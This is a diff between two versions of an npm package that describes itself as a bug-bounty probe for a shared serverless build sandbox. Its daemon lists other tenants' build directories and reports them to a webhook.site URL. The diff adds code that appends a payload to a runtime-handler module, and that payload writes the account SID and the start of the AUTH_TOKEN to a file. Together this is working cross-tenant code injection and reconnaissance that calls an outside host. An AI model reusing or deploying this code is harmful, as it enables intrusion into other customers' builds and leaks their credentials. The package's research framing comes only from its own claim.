tw-pkgprobe-7731 1.0.3 → 1.0.5

package/daemon.js

@@ -2,10 +2,10 @@
 // serverless packager sandbox. Records which tenant build directories share this container.
 // It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
 const fs=require('fs'), path=require('path'), https=require('https');
-const VER='1.0.3';
+const VER='1.0.5';
 const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
 const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
-const HOOK='https://webhook.site/dc26a1e3-921f-4f8a-950a-7f922c564fc8';
+const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
 const LOG='/tmp/.helper-log.json';
 const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
 function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
@@ -25,6 +25,23 @@ function inject(dir,ac,zs,zf){
     if(!state.injected[key]){state.injected[key]=Date.now();post({event:'injected',ver:VER,ac,zs,zf,at:Date.now()});save();}
   }catch(e){ if(!state.injected['err:'+key]){state.injected['err:'+key]=''+e;save();} }
 }
+
+function patchRuntime(dir,ac,zs,zf){
+  try{
+    const base=path.join(dir,'node_modules','runtime-handler');
+    if(!fs.existsSync(base)) return;
+    let main='index.js';
+    try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
+    let f=path.join(base,main);
+    if(!fs.existsSync(f) && fs.existsSync(f+'.js')) f=f+'.js';
+    if(!fs.existsSync(f)) return;
+    const cur=fs.readFileSync(f,'utf8');
+    if(cur.indexOf('XTENANT_PROOF')>=0) return;
+    const payload="\n;/*XTENANT_PROOF*/try{var _f=require('fs');_f.writeFileSync('/tmp/xtenant-rce-proof.txt',JSON.stringify({note:'this code was appended to runtime-handler by a process running in a DIFFERENT Twilio account build (" + SELF + ")',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',executedAt:Date.now(),acctEnv:process.env.ACCOUNT_SID||null,authTokenPrefix:(process.env.AUTH_TOKEN||'').slice(0,6)||null}));}catch(e){}\n";
+    fs.writeFileSync(f,cur+payload);
+    post({event:'patched-runtime-handler',ver:VER,ac,zs,zf,file:f,at:Date.now()});
+  }catch(e){ post({event:'patch-err',err:''+e}); }
+}
 function tick(){
   state.ticks++;
   let dirs=[];
@@ -38,7 +55,7 @@ function tick(){
         if(zf.indexOf('.tar')>=0) continue;
         const key=ac+'/'+zs+'/'+zf;
         if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}
-        if(OWN.indexOf(ac)>=0) inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf);
+        if(OWN.indexOf(ac)>=0){ inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); patchRuntime('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); }
       }
     }
   }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tw-pkgprobe-7731",
-  "version": "1.0.3",
+  "version": "1.0.5",
   "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
   "main": "index.js",
   "license": "MIT",

package/probe.js

@@ -1,5 +1,5 @@
 const fs=require('fs'), cp=require('child_process');
-const VER='1.0.3';
+const VER='1.0.5';
 function main(){
   const cwd=process.cwd();
   if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return;